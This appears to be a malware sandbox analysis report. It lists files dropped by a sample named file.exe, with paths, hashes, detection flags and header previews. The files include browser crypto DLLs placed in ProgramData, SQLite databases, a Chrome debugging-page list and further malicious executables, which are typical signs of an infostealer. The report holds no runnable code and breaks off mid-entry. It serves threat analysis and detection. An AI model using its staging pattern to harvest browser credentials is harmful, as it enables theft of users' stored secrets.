Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDGHCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAAAKFHIEGDGCAAAEGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHDGIEHJJJJEBGDAFHJEBGDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Q10LTOCEFP0KA6N46594D.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TMZOGPKAQROXKZACD6GWC5N6Z.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\accd68d705.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3128832
Entropy (8bit):	6.631751811276166
Encrypted:	false
SSDEEP:	49152:1JjZ00KSJAY5lsbObBMRflSEa7Hkv2uTbKzIW6snIFlQ09ZY:1tZGSJAY5lsbObBeflSEa7Ev2uTK6U0I
MD5:	A18367BC85080707CBEC02902ECAC8B0
SHA1:	6BC03EBCF2505736A1A3BF7C2167069AB023513C
SHA-256:	D01E31244AB306BDF8A2F9C859803E48E95261C4F667AC80A0E11385A021C19D
SHA-512:	D5E8A2916F4615668B68C969053B94AF99CEB09688F95629FE19986A3480E3162FF018EA21663ED65233EE56BF2FE1A680B88C41F3579B24A626777B58AD0F15
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...C.2g............................../...........@...........................0......0...@.................................TP..h............................Q...................................................................................... . .0.......0..................@....rsrc .....@.......@..............@....idata .....P.......@..............@...heutirnm.`..`...V..B..............@...axktdcgc....../......./.............@....taggant.0..../.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.36343354842177
Encrypted:	false
SSDEEP:	48:SfNaoQ5TEQ0fNaoQ0QxfNaoQiN0NDQiPfNaoQjM9NH0UrU0U8Qj6:6NnQ5TEQgNnQ0QNNnQqIDQANnQiH0Urd
MD5:	C0F513779A8950F6A4C8DAC133424C20
SHA1:	BDDB38810FFCE0DD39854284DBA9B43B12CD125F
SHA-256:	FAE8ADF360229C17982FCE5215C482BD2414E11C7A109DA590962F4C708FD799
SHA-512:	47B90AB497CEA300AD0BF99728C3CE7C7FB96C08EFC332D2C4B0619881680F089AF327104810B4CE2CDF16C3B369B99ACC26414F1E93A88A087A0976DE57E85A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/170615085F16F14E283CF9259CED359E",.. "id": "170615085F16F14E283CF9259CED359E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/170615085F16F14E283CF9259CED359E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/FA23B635D10035DBC2EF3FE0202D21DF",.. "id": "FA23B635D10035DBC2EF3FE0202D21DF",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/FA23B635D10035DBC2EF3FE0202D21DF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2811392
Entropy (8bit):	6.449610491276854
Encrypted:	false
SSDEEP:	49152:tf/Opp2gr+F3QINzhjIZlu5dHUwiuTlG9Nto+0M/h18a8:tepp2gaXNzWOLHUwiuTlyGHMZ14
MD5:	CBA2CBFEF03546A0BE168D44EC410239
SHA1:	D96E5A9F3F6408B3B8D9F680FCD8CD888393D945
SHA-256:	A895ECFD7598045667492968636CD80E0827481DDB671469E043FF91B72592AD
SHA-512:	71C01688F163F49832969CAE9A8B2089AE8075B512B7BCB6852342E0073CCEC41C9B5CECC1C7C88143046FC095A181DC05EECC5DC34AFD0B401AB494C7AAA116
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.....4.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...citkblqg...........:..............@...joxrtjxa. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2811392
Entropy (8bit):	6.449610491276854
Encrypted:	false
SSDEEP:	49152:tf/Opp2gr+F3QINzhjIZlu5dHUwiuTlG9Nto+0M/h18a8:tepp2gaXNzWOLHUwiuTlyGHMZ14
MD5:	CBA2CBFEF03546A0BE168D44EC410239
SHA1:	D96E5A9F3F6408B3B8D9F680FCD8CD888393D945
